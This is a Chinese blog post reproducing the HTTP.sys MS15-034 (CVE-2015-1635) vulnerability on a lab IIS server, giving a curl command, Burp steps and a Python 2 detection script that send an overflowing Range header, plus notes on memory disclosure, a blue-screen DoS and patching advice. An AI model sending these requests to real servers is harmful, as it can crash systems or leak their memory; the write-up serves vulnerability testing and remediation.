首页 > 其他分享 >HTTP.sys远程执行代码(CVE-2015-1635)(MS15-034)

HTTP.sys远程执行代码(CVE-2015-1635)(MS15-034)

时间:2022-10-10 11:23:06浏览次数:86  
标签:HTTP 1635 win 漏洞 client print http CVE socket

发现一个http.sys告警信息,这里复现一下,增加知识储备
这里参考了这位师傅的文章
https://blog.csdn.net/qq_41210745/article/details/103437683

漏洞详情

IIS服务进程依赖HTTP.sys内核驱动程序文件,漏洞产生的原因是http.sys未能正确分析特殊设计的http请求,攻击者可以造成拒绝服务和提权攻击,目前相关分析表面,漏洞的溢出只限于整数型参数
受影响操作系统的IIS服务器版本:win 2012、win 2012 R2
基于32位系统:win 7 sp1、win 8
基于64位系统:win 7 sp1、win 8、win 8.1、win 2008 R2 SP1
基于Itanium的系统:win 2008 R2 SP1

环境

Windows Server 2012 R2
安装IIS

在仪表盘添加角色和功能,服务器角色选择IIS,一直下一步就可以了
image.pngimage.png

安装好后打开http://localhost/
image.png

在同一个段里也可以访问http://ip
image.png

测试漏洞是否存在

0x1 kali

curl http://ip -H "Host: ip" -H "Range: bytes=0-18446744073709551615"

//如果返回416,说明该系统存在漏洞,其中Range字段值18446744073709551615表示:转为十六进制是 0xFFFFFFFFFFFFFFFF(16个F),是64位无符号整型所能表达的最大整数,整数溢出往往和这个超大整数有关。

image.png

0x2 windows+burp

增加响应头:
Range: bytes=0-18446744073709551615
查看返回包

0x3 python2+POC

#coding:utf-8
 
import socket
import random
 
 
ipAddr = "192.168.0.3"	#填写测试ip
hexAllFfff = "18446744073709551615"
req1 = "GET / HTTP/1.0\r\n\r\n"
req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"
 
print "[*] Audit Started"
 
try:
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client_socket.connect((ipAddr, 80))
    client_socket.send(req1)
    boringResp = client_socket.recv(1024)
    if "Microsoft" not in boringResp:
                    print "[*] Not IIS"
                    exit(0)
    client_socket.close()
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client_socket.connect((ipAddr, 80))
    client_socket.send(req)
    goodResp = client_socket.recv(1024)
    if "Requested Range Not Satisfiable" in goodResp:
        print "[!!] Vulnerability MS15-034 existence!"
    elif " The request has an invalid header name" in goodResp:
        print "[*] Not Vulnerability."
    else:
        print "[*] Unknown response state."
                                
except Exception,e:
    print e

image.png

漏洞验证

利用漏洞获取内存信息
image.png

这里使用DOS攻击,可以造成异常关机和蓝屏
image.pngimage.pngimage.png

建议

需要针对所有输入提交异常的构造语句进行严格的检查或者控制外部输入,异常范围值的参数不允许外部传递
1.建议修改win http堆栈处理请求的方式,已修复此漏洞。及时下载更新微软发布的补丁
2.对来自外部的输入数据验证类型、格式、长度、范围和内容,尤其对http range参数范围进行严格限制,过滤掉异常范围值的输入

标签:HTTP,1635,win,漏洞,client,print,http,CVE,socket
From: https://www.cnblogs.com/Summer-123/p/16774992.html

相关文章

  • 生成https license
     方法一:1.key的生成 1openssl genrsa -des3 -out server.key 2048这样是生成rsa私钥,des3算法,openssl格式,2048位强度。server.key是密钥文件......
  • @nginx及配置https
    文章目录​​一、rewrite伪静态实例​​​​1.搭建discuz​​​​2.rewrite规则补充​​​​1)rewrite匹配优先级​​​​2)rewrite的全局变量​​​​二、HTTPS​​​​1.模......
  • 如何用Python实现http客户端和服务器
    功能:客户端可以向服务器发送get,post等请求,而服务器端可以接收这些请求,并返回给客户端消息。 客户端:#coding=utf-8importhttp.clientfromurllibimportrequest,par......
  • HttpClient详细梳理
    HttpClient详细梳理1、httpClientHttpClient是Apache中的一个开源的项目。它实现了HTTP标准中Client端的所有功能,使用它能够很容易地进行HTTP信息的传输。它的各个版本......
  • 案例分享-https证书链不完整导致请求失败
    背景话不多说,直接上堆栈javax.net.ssl.SSLHandshakeException:sun.security.validator.ValidatorException:PKIXpathbuildingfailed:sun.security.provider.certp......
  • Springboot整合RestTemplate发送http请求
    据技术选型总结常见的三种方式发送http请求,本文介绍Springboot整合RestTemplate发送http请求方式,其他两种如下链接java原生发送http请求_程序三两行的博客HttpClient和OkHtt......
  • jmeter BeanShell PostProcessor 获取http请求的入参,存入CSV
    1、在http请求前新建一个jmeterBeanShellPostProcessor,其与http请求同在一个线程组内。  2、下载fastjson-2.0.14.jar包放在jmeter的lib目录下 下载路径为:http......
  • Python HTTP Basic 认证 + 下载文件到本地
    简单代码示例<spanstyle="font-size:18px;">importurllib2frombase64importencodestringurl='http://www.xxx.com/xxxx.csv'user='aaa'passwd='bbbbb'req=......
  • HTTP 请求报文和响应报文
     之前有一篇文章说过,HTTP 就是用来完成 客户端和服务端通信的。 而 HTTP 报文,就是交互的内容。为了方便理解,我把客户端和服务端描述成 A 和 B 两个人。这里人......
  • HTTP 协议
     首先,HTTP 协议就是超文本传输协议,它是应用层的协议。 ## HTTP协议作用 用于客户端和服务端的通信。 ## 长什么样子 先看请求:  再看响应:  ## HTTP 是一......